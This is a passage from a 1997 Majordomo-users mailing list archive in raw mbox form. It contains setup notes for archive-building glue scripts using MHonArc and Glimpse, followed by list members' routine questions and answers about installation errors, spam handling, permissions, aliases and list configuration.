The software that I use to drive my archives is at ftp.hpc.uh.edu:/pub/majordomo/tmli.tgz. Major warning: this code is nasty. Gross. Anyone who knows any Perl will probably run screaming at the incredibly stupid things I do in there. Yes, this was my first real Perl program. You need MHonArc to generate the archive pages, Glimpse to run the search engine, Majordomo (archive2.pl, actually) to generate the mbox files, and my code to glue it together. (Web searches will reveal sites for MHonArc and Glimpse.) The glue code is undocumented, but I'll explain a little. Put w3glimpse, w3index, w3reindex, w3highlighter, and w3striphtml in your cgi-bin. Also put a w3glimpse.conf there, looking like this: #listname list title URLpath archivepath indexpath mboxpath majordomo-workers Majordomo Workers /majordomo-workers/ /home/www/majordomo-workers/ /home/www/majordomo-workers/index /home/ftp/pub/majordomo/workers-archive majordomo-users Majordomo Users /majordomo-users/ /home/www/majordomo-users/ /home/www/majordomo-users/index /home/ftp/pub/majordomo/users-archive The fields should be tab separated. archivepath should be a directory containing: index.cgi as a link to w3index (your web server must support generated index pages). a "construction.gif" with a picture to be used when the archive is being generated. a "background.gif" if you want one. If you don't, modify mhonarc.rc appropriately. a directory "index" to hold the glimpse stuff; inside this should be a file .glimpse_exclude: XYX:sina:~www/majordomo-users/index> cat .glimpse_exclude .mhonarc.db background.gif index.html threads.html and a file .glimpse_filters: XYX:sina:~www/majordomo-users/index> cat .glimpse_filters *.html /home/www/cgi-bin/w3striphtml < a mhonarc.rc, containing the MHonArc configuration for the archives. The one I use for majordomo-users is at the end of this message. I still use MHonArc 1.x, so the new 2.0 format might be different. Then run w3reindex and it should build the archives for everything you have configured in w3glimpse.conf. This includes linking in the mbox files, running MHonArc over them, and running Glimpse on the result. Run w3reindex nightly from cron to do it automatically. Be sure to start with a small archive first; it can take forever to run. I'll be happy to answer any questions, but remember that you were warned that this stuff was nasty. One day I'll rewrite it (and actually make the line number links correct) but I still have a lot of work to do on Majordomo 2.0. BTW, you can get huge piles of extra speed and correct line number links by getting rid of .glimpse_filters, but then glimpse indexes things in the next and pervious message tags, which is a real pain since it gives you three times as many hits as it should. You can get correct line number links at the expense of huge piles of speed by twiddling a glimps invocation line in w3index (to use .glimpse_filters when searching) but I wouldn't recommend it. - J< mhonarc.rc: ^From .* \w{3} \w{3} [ \d]\d 5 index.html Chronological Index $IDXTITLE$ ($OUTDIR$)

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      • apparently comments content-length content-transfer-encoding content-type errors-to followup forward lines message-id mime- nntp- originator path precedence priority received replied reply-to return-path sender status via x- -default- subject:strong from:strong to:strong -default- subject:strong from:strong to:strong keywords:em newsgroups:strong From owner-majordomo-users-outgoing Thu Jun 5 11:31:31 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA28211 for majordomo-users-outgoing; Thu, 5 Jun 1997 11:17:37 -0700 (PDT) Received: from gauntlet.newschool.edu (gauntlet.newschool.edu [149.31.1.100]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id LAA28197 for ; Thu, 5 Jun 1997 11:17:31 -0700 (PDT) Received: by gauntlet.newschool.edu; id NAA26401; Thu, 5 Jun 1997 13:57:12 -0400 Received: from unknown(149.31.5.22) by gauntlet.newschool.edu via smap (3.2) id xma026216; Thu, 5 Jun 97 13:56:32 -0400 Received: from NEW_SCHOOL-Message_Server by newschool.edu with Novell_GroupWise; Thu, 05 Jun 1997 14:21:03 -0400 Message-Id: X-Mailer: Novell GroupWise 4.1 Date: Thu, 05 Jun 1997 14:20:19 -0400 From: Frank Rizulo To: majordomo-users@GreatCircle.COM Subject: need help with 1.94.1 install Mime-Version: 1.0 Content-Type: text/plain Content-Disposition: inline Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I'm having trouble with MD 1.94.1 install on Linux. I unpacked MD in /home/majordom which created the subdirectory majordomo-1.94.1, and the instructions say not to install in this directory. So I created a directory /usr/md94 with ownership to majordom. In the Makefile I put W_HOME=/usr/md94/majordomo-$(VERSION); did the same in majordomo.cf. When I run "make wrapper" as root I get: as: unrecognized option '-Qy' make: *** [wrapper] Error 1 Thanks for any help. Frank Rizulo rizulof@newschool.edu From owner-majordomo-users-outgoing Thu Jun 5 12:16:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA05136 for majordomo-users-outgoing; Thu, 5 Jun 1997 11:57:46 -0700 (PDT) Received: from ayla.idyllmtn.com (ayla.idyllmtn.com [206.16.238.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id LAA05116 for ; Thu, 5 Jun 1997 11:57:39 -0700 (PDT) Received: (from kynn@localhost) by ayla.idyllmtn.com (8.6.12/8.6.9) id LAA21379; Thu, 5 Jun 1997 11:57:01 -0700 From: Kynn Bartlett Message-Id: <199706051857.LAA21379@ayla.idyllmtn.com> Subject: Re: need help with 1.94.1 install To: rizulof@newschool.edu (Frank Rizulo) Date: Thu, 5 Jun 1997 11:57:01 -0700 (PDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: from "Frank Rizulo" at Jun 5, 97 02:20:19 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Frank wrote: > I'm having trouble with MD 1.94.1 install on Linux. ...why are you trying to install 1.94.1? That is Old Code. --Kynn From owner-majordomo-users-outgoing Thu Jun 5 14:07:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA04073 for majordomo-users-outgoing; Thu, 5 Jun 1997 11:50:37 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA03976 for ; Thu, 5 Jun 1997 11:50:14 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id NAA19886; Thu, 5 Jun 1997 13:54:13 -0500 (CDT) To: Frank Rizulo Cc: majordomo-users@GreatCircle.COM Subject: Re: need help with 1.94.1 install References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 05 Jun 1997 13:54:13 -0500 In-Reply-To: Frank Rizulo's message of Thu, 05 Jun 1997 14:20:19 -0400 Message-ID: Lines: 8 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "FR" == Frank Rizulo writes: FR> When I run "make wrapper" as root I get: as: unrecognized option '-Qy' Sounds like your C compiler is incorrectly installed. This isn't a problem arising from Majordomo. - J< From owner-majordomo-users-outgoing Thu Jun 5 15:32:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA29544 for majordomo-users-outgoing; Thu, 5 Jun 1997 14:15:21 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id OAA29509 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 14:15:10 -0700 (PDT) Received: from ultra.qni.com (qni.com [206.29.114.4]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA07321 for ; Thu, 5 Jun 1997 12:12:28 -0700 (PDT) Received: from [208.149.2.25] (max02-25.qni.com [208.149.2.25]) by ultra.qni.com (8.8.2/8.8.2) with SMTP id OAA05719 for ; Thu, 5 Jun 1997 14:14:20 -0500 (CDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 5 Jun 1997 14:16:00 -0500 To: majordomo-users@greatcircle.com From: gus@pbx.org (Gus Huber) Subject: Help Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hey I just installed majordomo on a Linux Slackware 3.1 system that has been customized with Qmail 1.00 and I can't seem to get anything to happen.. I'm not entirely sure what is going wrong.. but I think it is because of Qmails tendancy to get rid of the /var/spool/mail dir and it delivers the mail to ~/Mailbox Any ideas on this one? PS (I haven't subscribed to this list yet.. so could you reply to gus@pbx.org so it gets to me? :) Gus Huber From owner-majordomo-users-outgoing Thu Jun 5 15:32:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA25859 for majordomo-users-outgoing; Thu, 5 Jun 1997 13:57:30 -0700 (PDT) Received: from gauntlet.newschool.edu (gauntlet.newschool.edu [149.31.1.100]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id NAA25821 for ; Thu, 5 Jun 1997 13:57:18 -0700 (PDT) Received: by gauntlet.newschool.edu; id QAA00361; Thu, 5 Jun 1997 16:36:57 -0400 Received: from unknown(149.31.5.22) by gauntlet.newschool.edu via smap (3.2) id xma000248; Thu, 5 Jun 97 16:36:22 -0400 Received: from NEW_SCHOOL-Message_Server by newschool.edu with Novell_GroupWise; Thu, 05 Jun 1997 17:00:50 -0400 Message-Id: X-Mailer: Novell GroupWise 4.1 Date: Thu, 05 Jun 1997 17:00:24 -0400 From: Frank Rizulo To: majordomo-users@GreatCircle.COM Subject: need help with 1.94.1 install update Mime-Version: 1.0 Content-Type: text/plain Content-Disposition: inline Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk IWhen I run "make wrapper" as root I get: as: unrecognized option '-Qy' make: *** [wrapper] Error 1 After some more research pronpted by some help from the list, it looks like this error is referring to "as", the assembler, I guess somehow called through make. My man pages don't show a Qy option for "as", however there is a Qy option for "cc'. At any rate, I wonder if I need a new version of "as"? I'll try a new version of cc and as. Any other suggestions? Thanks Frank Rizulo rizulof@newschool.edu From owner-majordomo-users-outgoing Thu Jun 5 15:37:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA02749 for majordomo-users-outgoing; Thu, 5 Jun 1997 14:32:41 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA00510; Thu, 5 Jun 1997 14:19:38 -0700 (PDT) Received: from mail.state.mn.us (mail.state.mn.us [204.73.26.1]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with SMTP id NAA17341; Thu, 5 Jun 1997 13:55:53 -0700 (PDT) Received: from roman.state.mn.us by mail.state.mn.us; Thu, 5 Jun 97 15:53:11 -0500 Message-Id: <2.2.32.19970605205238.006f6acc@mail.state.mn.us> X-Sender: roman@mail.state.mn.us X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 05 Jun 1997 15:52:38 -0500 To: majordomo-users@GreatCircle.COM, majordomo-workers@GreatCircle.COM From: Roman Richardson Subject: config vs. aliases file Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi all, You know, I just realized that there are a lot of redundencies between the resend command line options and the 1.94.1 .config files. Simple question: With darn near everything in the config file... what do you really need on the command line. well... *not* -A, -a, -d, -f, -I, -M, -R, -r or -s ...that leaves -l and -h. Is there any reason to have anything besides -l and -h??? Thanks, Roman --- Roman Richardson UNIX / Email Systems Specialist State of Minnesota - InterTechnologies Group From owner-majordomo-users-outgoing Thu Jun 5 15:44:49 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA29149 for majordomo-users-outgoing; Thu, 5 Jun 1997 14:13:19 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id OAA29133 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 14:13:15 -0700 (PDT) Received: from aura.title14.com (aura.title14.com [206.34.180.4]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA18865 for ; Thu, 5 Jun 1997 06:10:30 -0700 (PDT) Received: from localhost (lkiczuk@localhost) by aura.title14.com (8.8.5/8.6.9) with SMTP id JAA30389 for ; Thu, 5 Jun 1997 09:16:34 -0400 Date: Thu, 5 Jun 1997 09:16:34 -0400 (EDT) From: Lisa Kiczuk X-Sender: lkiczuk@aura To: Majordomo-users Mailing list Subject: Re: Fighting Spams In-Reply-To: <199706051158.IAA00302@ecology.bio.dfo.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I just got my first spam attempt to my mailing list. It bounced of course (non-member submission), but this means that I now have to start thinking about the spam issue. Argh. I have been dreading this day.. I knew it would come but wished it wouldn't. Are there alot of spammers that actually subscribe to a mailing list just to spam it? If so, is there a list of bigtime offenders that anyone can give me? Sorry if this has been covered already.. Thanks. Lisa and... Aura & Jasmine, my shadows lkiczuk@aura.title14.com http://www.title14.com/ts/ Tuberous Sclerosis and Neurological Sites From owner-majordomo-users-outgoing Thu Jun 5 15:45:47 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA20900 for majordomo-users-outgoing; Thu, 5 Jun 1997 13:29:59 -0700 (PDT) Received: from eclectic.kluge.net (eclectic.kluge.net [130.215.248.68]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA20871 for ; Thu, 5 Jun 1997 13:29:49 -0700 (PDT) Received: from dilbert.kluge.net (root@dilbert.kluge.net [130.215.248.72]) by eclectic.kluge.net (8.8.6.Beta4/8.8.6.Beta4) with ESMTP id UAA00371; Wed, 4 Jun 1997 20:08:56 -0400 Received: from localhost (felicity@LOCALHOST [127.0.0.1]) by dilbert.kluge.net (8.8.6.Beta4/8.8.6.Beta4) with SMTP id UAA00249; Wed, 4 Jun 1997 20:15:10 -0400 Date: Wed, 4 Jun 1997 20:15:10 -0400 (EDT) From: Theo Van Dinter Reply-To: Theo Van Dinter To: richard welty cc: Majordomo Users Subject: Re: Anti-Spammer Tool, & replies In-Reply-To: <3395A104.FF6D5DF@balltown.cma.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Wed, 4 Jun 1997, richard welty wrote: > first of all, any counter attack in this manner is probably > actionable it's illegal in massachusetts, and (as I remember), there's a federal law that also makes this illegal in the US. > let's not sink to the level of the spammers. ;) -- --------------------------------------------------------------------------- Theo Van Dinter www: http://www.kluge.net/~felicity/ Secretary of WPI Lens and Lights Junior Systems Administrator 3 kinds of people: Those who can count & those who can't. --------------------------------------------------------------------------- From owner-majordomo-users-outgoing Thu Jun 5 15:51:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA00816 for majordomo-users-outgoing; Thu, 5 Jun 1997 14:22:01 -0700 (PDT) Received: from mach3ww.com (mach3ww.com [205.217.172.33]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA00791 for ; Thu, 5 Jun 1997 14:21:53 -0700 (PDT) Received: from alice.mach3ww.com (smitha@mach3ww.com [205.217.172.33]) by mach3ww.com (8.8.5/8.6.9) with SMTP id QAA26690 for ; Thu, 5 Jun 1997 16:26:04 -0500 Date: Thu, 5 Jun 1997 16:26:02 -0500 (CDT) From: Andy Smith To: majordomo-users@greatcircle.com Subject: bulk_mailer Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I got the bulk_mailer program that is mentioned in the faq. My majordomo.aliases file sure doesn't look like there example on how to use it. How would you incorporate bulk_mailer into a mailing list that has digesting and archiving like the one below: ---CUT---majordomo.aliases--- doc:"|/usr/local/majordomo/wrapper resend -l doc -h mach3ww.com doc-outgoing" doc-digest:doc doc-outgoing::include:/usr/local/majordomo/lists/doc, doc-archive,"|/usr/local/majordomo/wrapper digest -r -C -l doc-digest doc-digest-outgoing","| /usr/local/majordomo/wrapper archive2.pl -a -m -f /usr/local/majordomo/files/archive/doc-digest.archive" doc-digest-outgoing::include:/usr/local/majordomo/lists/doc-digest doc-archive: "| /usr/local/majordomo/wrapper archive2.pl -f /usr/local/majordomo/files/archive/doc.archive/doc -m -a" owner-doc:smitha, owner-doc-outgoing:owner-doc owner-doc-digest:owner-doc owner-doc-digest-outgoing:owner-doc doc-request: "|/usr/local/majordomo/wrapper request-answer doc" doc-digest-request: "|/usr/local/majordomo/wrapper request-answer doc-digest" doc-approval:smitha, doc-digest-approval:doc-approval -------CUT-------- _Andy_ From owner-majordomo-users-outgoing Thu Jun 5 15:59:27 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA20470 for majordomo-users-outgoing; Thu, 5 Jun 1997 13:27:56 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id NAA16195 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 13:00:48 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA11466 for ; Wed, 4 Jun 1997 09:51:48 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id MAA10035 for ; Wed, 4 Jun 1997 12:55:28 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id MAA28208; Wed, 4 Jun 1997 12:55:28 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: taboo stuff X-No-Archive: yes Date: 04 Jun 1997 12:55:27 -0400 Message-ID: Lines: 26 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- So I find myself in need of setting up taboo_headers to deal with one serious fuckhead that is trying to destroy one of my mailing lists. Lo and behold I find *NOTHING* in the documentation or FAQ (1.94.1) that describes how to set up such in the list.config file. There are examples for majordomo.cf but the expression formats seem to be failing in the list config file (at least, in my test runs with my own testbed lists I cannot keep myself from posting). -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5Wd/p6VRH7BJMxHAQE6bAP/frdiCo7Mt6BvSZ+/XlcihK4eJGZ1ZdmY RxdWP47xRpE45F99TV9EW53isRa0JnfKvBiX7k0aB5nUX76O4IPSSLbGaps1e4dY gJ4o1KKdo8IY4RfGvyPJd8nh2OOf18AKQL7D3O0/epRAa7W6RwcAEx9KwRG7NMum CKRVIu+/Ovg= =rlHb -----END PGP SIGNATURE----- -- Rich Pieri | Do not use Happy Fun Ball on Prescient Technologies, Inc. | concrete. A Stone & Webster Company | I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Thu Jun 5 16:09:01 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA20541 for majordomo-users-outgoing; Thu, 5 Jun 1997 13:28:18 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id MAA16043 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 12:59:45 -0700 (PDT) Received: from eagle.netwrx1.com ([205.216.2.18]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id TAA25239 for ; Tue, 3 Jun 1997 19:13:38 -0700 (PDT) Received: from 1Cust47.Max2.Atlanta.GA.MS.UU.NET (1Cust47.Max2.Atlanta.GA.MS.UU.NET [153.35.41.175]) by eagle.netwrx1.com (8.8.5/8.8.5) with SMTP id WAA10248 for ; Tue, 3 Jun 1997 22:17:18 -0400 From: georgek@netwrx1.com (George R. Kasica) To: majordomo-users@greatcircle.com Subject: Help needed 1.94.3 upgrade error Date: Wed, 04 Jun 1997 02:15:19 GMT Organization: Netwrx Consulting Inc. Reply-To: georgek@netwrx1.com Message-ID: <3395ccf9.5004142@eagle.netwrx1.com> X-Mailer: Forte Agent 1.01/32.397 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I just upgraded to 1.94.3 and am getting the following error: (fwd) MAJORDOMO ABORT (mj_majordomo) >-- > > >MAJORDOMO ABORT (mj_majordomo)!! > >chmod(33279, "/var/spool/majordomo-1.94.3/lists/skunk-works-digest.new"): Operation not permitted > I'm assuming its a permissions/right/ownership problem, but don't know what I SHOULD have the items in the lists directory set to. The file in question looks like this: drwxrwxrwx 3 majordom daemon 1024 May 31 16:17 digests/ drwxrwxrwx 3 majordom daemon 1024 Jun 3 21:53 lists/ and within lists/ -rwxrwxrwx 1 majordom daemon 0 Jun 3 17:40 skunk-works-digest.new* -rwxrwxrwx 1 majordom daemon 0 Jun 2 17:52 skunk-works.new* Majordomo's make file is set up with # You need to have or create a user and group which majordomo will run as. # Enter the numeric UID and GID (not their names!) here: W_USER = 504 W_GROUP = 2 # These set the permissions for all installed files and executables (except # the wrapper), respectively. Some sites may wish to make these more # lenient, or more restrictive. FILE_MODE = 644 EXEC_MODE = 755 HOME_MODE = 751 504 is majordom and 2 is daemon Any help is as always appreciated. George From owner-majordomo-users-outgoing Thu Jun 5 16:10:27 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA20585 for majordomo-users-outgoing; Thu, 5 Jun 1997 13:28:35 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id MAA16008 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 12:59:28 -0700 (PDT) Received: from rain.to.opentext.net (rain.to.opentext.com [192.139.37.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA15147 for ; Tue, 3 Jun 1997 17:51:54 -0700 (PDT) Received: from localhost by rain.to.opentext.net via sendmail with smtp id for ; Tue, 3 Jun 1997 20:56:04 -0400 (EDT) (Smail-3.2.0.90 1996-Dec-4 #6 built 1997-Mar-11) Date: Tue, 3 Jun 1997 20:56:04 -0400 (EDT) From: Hugh Ferguson Reply-To: Hugh Ferguson To: majordomo-users@greatcircle.com Subject: Turning off the administrivia feature (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I have recently upgraded to Majordomo 1.94.3 running on a Sparc 5 under SunOS4.1.4, but this problem was present under majordomo 1.93 if I recall correctly. I know that the administrivia feature is supposed to catch key words like 'subscribe' and 'list' etc. but I can't seem to turn this feature off. We have a customer that is complaining about this since they want to send a message to the list with subscription instructions. I've tried setting administrivia to 'no', to nothing at all, and I've even commented out the administrivia line altogether but it still does this check. I've looked at the resend code, and tried hard coding $opt_s to be 0 or even undefined. Before I go kludging this up any more I would like to know if this is a known 'undocumented feature', or if there is a patch so that I can turn administrivia off. regards -Hugh Ferguson --------------------------------------------------------\ Hugh Ferguson, System Administrator Toronto Office \ phone: +1 (416)-596-0296x35 fax: +1 (416)-596-1374 \ email: hugh@opentext.com / / --------------------------------------------------------/ From owner-majordomo-users-outgoing Thu Jun 5 16:10:57 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA29416 for majordomo-users-outgoing; Thu, 5 Jun 1997 14:14:39 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id OAA29382 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 14:14:32 -0700 (PDT) Received: from mercury.peganet.net (mercury.peganet.com [206.102.200.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA26555 for ; Thu, 5 Jun 1997 08:17:23 -0700 (PDT) Received: from p150 (peg12-ts124.peganet.com [206.102.200.127]) by mercury.peganet.net (8.8.5/8.8.5) with SMTP id LAA09863 for ; Thu, 5 Jun 1997 11:24:44 -0400 (EDT) Message-Id: <3.0.32.19970605111958.00c881b4@peganet.com> X-Sender: timt@peganet.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 05 Jun 1997 11:20:09 -0400 To: majordomo-users@GreatCircle.COM From: "(GIS-L) GeoGraph International Corporation" Subject: Setup changes for multiple Virtual Domains Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I just joined this list and caught what seemed to be the tail end of a discussion about changes to Majordomo to handle multiple Virtual Domains. My changes to Majordomo through "newconfig" handle postings properly, but what I need is the Perl changes necessary to handle standard Majordomo Replies to requests like SUBSCRIBE, UNSUB..., HELP, etc..., to appear as they were coming from the virtual domain name, not the domain that Majordomo is installed on. It appears that changes and/or rewrites need to be done to one or more of the Majordomo Perl scripts to effectively change $whereami, $whoami, and $whoami_owner. Any changes hopefully would also apply to the Digest version of a list. I need a fairly complete list of changes necessary and any Perl code rewrites too. Compensation can be arranged if these changes are very difficult, please contact me directly on this matter if anyone can help me. If anyone has done these changes, please contact me (tim@geoint.com) or post here any Web site pages that have been put up that explain the changes necessary. Thanks all, Tim Timothy M. Thompson GeoGraph International Corporation__________________________________________ home of: GeoGraph, the Harlow Report & West-Side Automation tim@geoint.com www.geoint.com From owner-majordomo-users-outgoing Thu Jun 5 16:17:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA27393 for majordomo-users-outgoing; Thu, 5 Jun 1997 14:04:56 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id OAA27349 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 14:04:47 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA19290 for ; Wed, 4 Jun 1997 16:18:23 -0700 (PDT) Received: from mercury.peganet.net (mercury.peganet.com [206.102.200.11]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id QAA27177 for ; Wed, 4 Jun 1997 16:18:53 -0700 (PDT) Received: from p150 (peg6-ts79.peganet.com [206.102.200.181]) by mercury.peganet.net (8.8.5/8.8.5) with SMTP id TAA24823 for ; Wed, 4 Jun 1997 19:19:52 -0400 (EDT) Message-Id: <2.2.32.19970604231530.009224e4@peganet.com> X-Sender: timt@peganet.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 04 Jun 1997 19:15:30 -0400 To: majordomo-users@GreatCircle.COM From: "(GIS-L) GeoGraph International Corporation" Subject: Setup changes for multiple Virtual Domains Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I just joined this list and caught what seemed to be the tail end of a discussion about changes to Majordomo to handle multiple Virtual Domains. My changes to Majordomo through "newconfig" handle postings properly, but what I need is the Perl changes necessary to handle standard Majordomo Replies to requests like SUBSCRIBE, UNSUB..., HELP, etc..., to appear as they were coming from the virtual domain name, not the domain that Majordomo is installed on. It appears that changes and/or rewrites need to be done to one or more of the Majordomo Perl scripts to effectively change $whereami, $whoami, and $whoami_owner. Any changes hopefully would also apply to the Digest version of a list. I need a fairly complete list of changes necessary and Perl code changes too. Compensation can be arranged if these changes are very difficult, please contact me directly on this matter if anyone can help me. If anyone has done these changes, please contact me (tim@geoint.com) or post here any Web site pages that have been put up that explain the changes necessary. Thanks all, Tim Timothy M. Thompson GeoGraph International Corporation__________________________________________ home of: GeoGraph, the Harlow Report & West-Side Automation tim@geoint.com www.geoint.com From owner-majordomo-users-outgoing Thu Jun 5 16:21:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA16183 for majordomo-users-outgoing; Thu, 5 Jun 1997 13:00:36 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id NAA16171 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 13:00:30 -0700 (PDT) Received: from mail.cdi.org (mail.CDI.ORG [206.64.114.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id GAA16831 for ; Wed, 4 Jun 1997 06:54:52 -0700 (PDT) Received: from ALUTHER.cdi.org ([206.64.114.135]) by mail.cdi.org (8.6.11/8.6.9) with SMTP id KAA12108 for ; Wed, 4 Jun 1997 10:27:17 -0400 Message-Id: <3.0.32.19970604095839.00839cb0@mail.cdi.org> X-Sender: aluther@mail.cdi.org X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 04 Jun 1997 09:58:40 -0400 To: majordomo-users@GreatCircle.COM From: Adam Luther Subject: List flooded by Subscribe/Unsubscribe requests Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I run a couple of lists here at CDI. one of them got publised wrong and now I'm getting floods of sub/unsub requests to the list itself. I've set the administrivia and moderated flags to "Yes" in the config file but to no avail. Anything I'm missing? TIA Adam Luther aluther@cdi.org From owner-majordomo-users-outgoing Thu Jun 5 16:26:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA16168 for majordomo-users-outgoing; Thu, 5 Jun 1997 13:00:25 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id NAA16155 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 13:00:19 -0700 (PDT) Received: from tyholt.uninett.no (tyholt.uninett.no [129.241.131.12]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id AAA10946 for ; Wed, 4 Jun 1997 00:54:25 -0700 (PDT) Received: from munken.uninett.no (munken.uninett.no [129.241.131.10]) by tyholt.uninett.no (8.7.6/8.7.3) with SMTP id JAA03130; Wed, 4 Jun 1997 09:58:08 +0200 (METDST) X-Authentication-Warning: tyholt.uninett.no: Host munken.uninett.no [129.241.131.10] didn't use HELO protocol X-Mailer: exmh version 1.6.7 5/3/96 From: Harald.T.Alvestrand@uninett.no To: Account for a 